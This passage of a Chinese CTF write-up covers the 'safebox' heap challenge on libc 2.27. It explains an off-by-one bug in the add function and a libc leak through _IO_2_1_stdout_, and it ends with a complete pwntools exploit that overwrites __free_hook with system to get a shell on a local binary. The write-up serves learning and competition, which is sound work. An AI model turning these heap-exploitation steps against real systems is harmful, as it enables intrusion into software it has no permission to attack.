对比2.23和2.24下的利用手法,可以看到2.24下的利用方式更加简便
除了利用IO_FILE来getshell,当程序没有输出函数时,我们也可以利用_IO_2_1_stdout_
结构体来泄露libc地址,具体原理可以看ex师傅的利用 IO_2_1_stdout 泄露信息,写的很详细
0x3.safebox
保护全开,libc2.27
有两个功能,add和delete
其中add功能存在off-by-one,很明显
unsigned __int64 sub_B2C()
{
unsigned __int64 v1; // [rsp+8h] [rbp-18h]
unsigned __int64 size; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("idx:");
v1 = sub_A84();
if ( v1 > 0xF )
{
puts("error.");
exit(1);
}
puts("len:");
size = sub_A84();
if ( size > 0xFFF )
{
puts("error.");
exit(1);
}
qword_202040[v1] = size + 1;
qword_2020C0[v1] = malloc(size);
puts("content:");
read(0, qword_2020C0[v1], qword_202040[v1]);
return __readfsqword(0x28u) ^ v3;
}
delete函数没问题,free且指针清零
那么利用方式就是off-by-one构造出overlap,然后在tcache上踩出main_arena的地址,修改后四位为stdout结构体的后四位,1/16的几率能分配过去,然后用来修改stdout的payload为p64(0xfbad1887)+p64(0)*3+p8(0)
,就能够泄露出libc地址。有了地址之后,再来一次overlap,将tcache的fd修改为freehook,申请到freehook并修改为system,完整exp如下
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
elf = ELF('safebox')
libc = ELF('libc.so')
def add(index, size, content):
io.recvuntil('>>>')
io.sendline('1')
io.recvuntil('idx:')
io.sendline(str(index))
io.recvuntil('len:')
io.sendline(str(size))
io.recvuntil('content:')
io.send(content)
def dele(index):
io.recvuntil('>>>')
io.sendline('2')
io.recvuntil('idx:')
io.sendline(str(index))
def pwn():
add(0, 0x18, 'a')
add(1, 0x400, 'a')
add(2, 0x68, 'a')
add(3, 0x68, 'a')
add(4, 0x18, 'a')
dele(0)
add(0, 0x18, 'a'*0x10+p64(0)+p8(0xf1))#off-by-one,修改chunk1的size为chunk1+chunk2+chunk3
dele(2)#将chunk2放入tcache
dele(1)#将chunk1放入unsorted bin
add(1, 0x400, 'a')#申请回chunk1,使main_arena落入chunk2的fd
add(2, 0x70, p16(0x7760))#这里我们需要申请大于或者小于chunk2的chunk,否则便会从tcache中取chunk,fd便会失效;将fd的后四位修改为_IO_2_1_stdout_地址的后四位
add(5, 0x68, 'a')
payload = p64(0xfbad1887)+p64(0)*3+p8(0)#修改_IO_2_1_stdout_
add(6, 0x68, payload)
libc_base = u64(io.recvuntil('\x7f', timeout=0.2)[-6:].ljust(8, '\x00'))-0x3ed8b0
if libc_base == -0x3ed8b0:
io.close()
exit(1)
log.success('libc_base => {}'.format(hex(libc_base)))
system_addr = libc_base+libc.symbols['system']
free_hook = libc_base+libc.symbols['__free_hook']
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('free_hook => {}'.format(hex(free_hook)))
add(7, 0x58, 'a')#将剩下的unsorted bin申请出来
add(8, 0x18, 'a')
add(9, 0x18, 'a')
dele(4)
add(4, 0x18, 'A'*0x10+p64(0)+p8(0x41))#继续off-by-one
dele(9)
dele(8)
payload = '/bin/sh\x00'.ljust(0x10, '\x00')+p64(0)+p64(0x21)+p64(free_hook)
add(8, 0x38, payload)
add(9, 0x18, p64(free_hook))
add(10, 0x18, p64(system_addr))
dele(8)
# gdb.attach(io)
io.interactive()
if __name__ == '__main__':
while True:
global io
try:
io = process('./safebox')
pwn()
except:
io.close()